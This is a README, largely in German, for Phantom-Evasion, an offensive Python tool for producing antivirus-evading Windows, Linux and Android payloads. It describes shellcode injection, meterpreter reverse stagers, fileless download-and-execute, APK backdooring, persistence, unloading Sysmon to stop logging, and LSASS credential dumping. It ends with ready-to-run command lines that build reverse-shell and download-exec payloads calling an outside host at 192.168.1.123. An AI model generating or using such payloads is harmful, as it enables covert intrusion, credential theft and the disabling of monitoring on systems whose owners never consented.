
Python antivirus evasion tool
Phantom-Evasion ist ein Antivirus-Umgehungstool, geschrieben in Python (kompatibel mit Python und Python3), das in der Lage ist, (fast) vollständig unerkannte ausführbare Dateien zu erstellen, selbst mit den gängigsten x86-msfvenom-Payloads.
Die folgenden Betriebssysteme unterstützen offiziell die automatische Einrichtung:
Die folgenden Betriebssysteme unterstützen wahrscheinlich die automatische Einrichtung, erfordern jedoch eine manuelle Installation von Metasploit-Framework:
Die folgenden Betriebssysteme erfordern eine manuelle Einrichtung:
Einfach git clone oder herunterladen und den Phantom-Evasion-Ordner entpacken.
Automatische Einrichtung, öffne ein Terminal und führe aus:
python3 phantom-evasion.py --setup
oder:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
oder starte phantom-evasion im interaktiven Modus und wähle Option 7
python3 phantom-evasion.py
oder:
./phantom-evasion.py
python3 phantom-evasion.py --help
oder:
./phantom-evasion.py --help
-Jedes Windows-Payload-C-Modul kann (sowohl x86 als auch x64 unterstützt) als EXE oder DLL/ReflectiveDLL kompiliert werden.
-Randomisierte Junkcode-Einschleusung (Intensität, Häufigkeit und Wahrscheinlichkeit der Wiedereinschleusung können eingestellt werden) sowie Windows-Antivirus-Umgehungstechniken (Häufigkeit einstellbar).
-Multibyte-Xor/Vigenere-Verschlüsselung von Shellcode/Datei wird sowohl in den Modulen Shellcode-Injection als auch Download-Exec unterstützt.
-Ntdll-UnhookApi und Peb-Prozess-Masquerading-Technik werden unterstützt.
-Große Auswahl an Ausführungsmodi (sowohl lokal als auch remote).
-Große Auswahl an Speicherzuweisungsmodi für Payloads (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
-Dynamisches Laden von Windows-APIs kann eingestellt werden.
-Zertifikats-Spoofer und -Signierer werden unterstützt.
-Ausführbare Datei strippen (https://en.wikipedia.org/wiki/Strip_(Unix))
Msfvenom-Windows-Payloads und benutzerdefinierte Shellcodes werden unterstützt. Shellcode kann als Ressource gespeichert und zur Laufzeit mit der FindResource-API abgerufen werden.
Shellcode-Verschlüsselung unterstützt:
1.keine
2.Multibyte-Xor
3.Doppelschlüssel-Multibyte-Xor
4.Vigenere
5.Doppelschlüssel-Vigenere
Lokale Ausführungsmethode kann eine der folgenden sein:
Thread
APC
Lokaler Speicherzuweisungsmodus kann einer der folgenden sein:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Remote-Ausführungsmethode kann eine der folgenden sein:
ThreadExecutionHijack (kurz TEH)
Processinject (kurz PI)
APCSpray (kurz APCS)
EarlyBird (kurz EB)
EntryPointHijack (kurz EPH)
Remote-Speicherzuweisungsmodus kann einer der folgenden sein:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Pure C-Meterpreter-Stager-Module (TCP/HTTP/HTTPS), kompatibel mit msfconsole und Cobalt-Strike-Beacon. (reverse_tcp/reverse_http/reverse_https)
Verwendung des Befehlszeilenmodus:
reverse_tcp c stager ist WRT
reverse_http c stager ist WRH
reverse_https c stager ist WRS
Lokale Ausführungsmethode kann eine der folgenden sein:
Thread
APC
Lokaler Speicherzuweisungsmodus kann einer der folgenden sein:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Lade exe/dll von der angegebenen URL in den Speicher herunter und führe sie aus/lade sie in einen entfernten Prozess (ohne auf die Festplatte zu schreiben).
Verschlüsselter EXE/DLL-Download unterstützt:
1.keine
2.Multibyte-Xor
3.Doppelschlüssel-Multibyte-Xor
4.Vigenere
5.Doppelschlüssel-Vigenere
Die verschlüsselte DLL/EXE wird als ursprünglicher Dateiname + "crypt" + ".dll" oder ".exe" gespeichert – dies ist die herunterzuladende Datei.
Windows DownloadExecExe NoDiskWrite (WDE im Befehlszeilenmodus):
Remote-Ausführungsmethode kann eine der folgenden sein:
ProcessHollowing (kurz PH)
Windows DownloadExecDll NoDiskWrite (WDD im Befehlszeilenmodus):
Remote-Lademethode kann eine der folgenden sein:
ReflectiveDll (kurz RD)
RDAPC (ReflectiveDllAPC)
ManualMap (kurz MM) ---> nur x86
Msfvenom-Linux-Payloads und benutzerdefinierte Shellcodes werden unterstützt.
Android Msfvenom Obfuscate Backdoor:
Verschleiere msfvenom-Payloads und erstelle sie neu (smali/baksmali) mit apktool. Der verschleierte Payload kann verwendet werden, um legitime APK-Dateien zu backdoorieren.
Windows Persistence RegCreateKeyExW Registry-Key hinzufügen (C) Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden, wobei der vollständige Pfad zur Datei, die zum Start hinzugefügt werden soll, als Argument übergeben wird.
Windows Persistence REG Registry-Key hinzufügen (CMD) Dieses Modul generiert Persistenz-Befehlszeilen-Payloads (Registry-Key mit REG.exe hinzufügen).
Windows Persistence Keep Process Alive (C) Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden. Verwendet CreateToolSnapshoot, ProcessFirst und ProcessNext, um alle X Sekunden zu prüfen, ob der angegebene Prozess läuft (falls nicht, wird ein neuer Prozess mit der WinExec-API erstellt).
Windows Persistence Schtasks (CMD)
Dieses Modul generiert Persistenz-Befehlszeilen-Payloads (mit Schtasks.exe).
Windows Persistence Create Service (CMD)
Dieses Modul generiert Persistenz-Befehlszeilen-Payloads (mit sc.exe).
Windows DuplicateTokenEx (C)
Erstelle einen neuen Prozess mit einem von einem anderen Prozess geklonten Token. Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden.
Windows Unload Sysmon (C) Entlade den Sysmon-Treiber, was dazu führt, dass das System die Aufzeichnung von Sysmon-Ereignisprotokollen stoppt. Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden.
Windows Unload Sysmon (CMD) Entlade den Sysmon-Treiber, was dazu führt, dass das System die Aufzeichnung von Sysmon-Ereignisprotokollen stoppt.
Windows Attrib hide file (CMD) Verwende attrib, um eine Datei zu verstecken
Windows SetFileAttribute hidden (C) Verstecke eine Datei mit der SetFileAttribute-API. Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden.
Windows DumpLsass (C) Dump Lsass mit der MiniWriteDumpWrite-API. Die kompilierte ausführbare Datei muss auf das Zielgerät hochgeladen und ausgeführt werden.
Windows DumpLsass (CMD)
Dump Lsass von der Befehlszeile aus.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf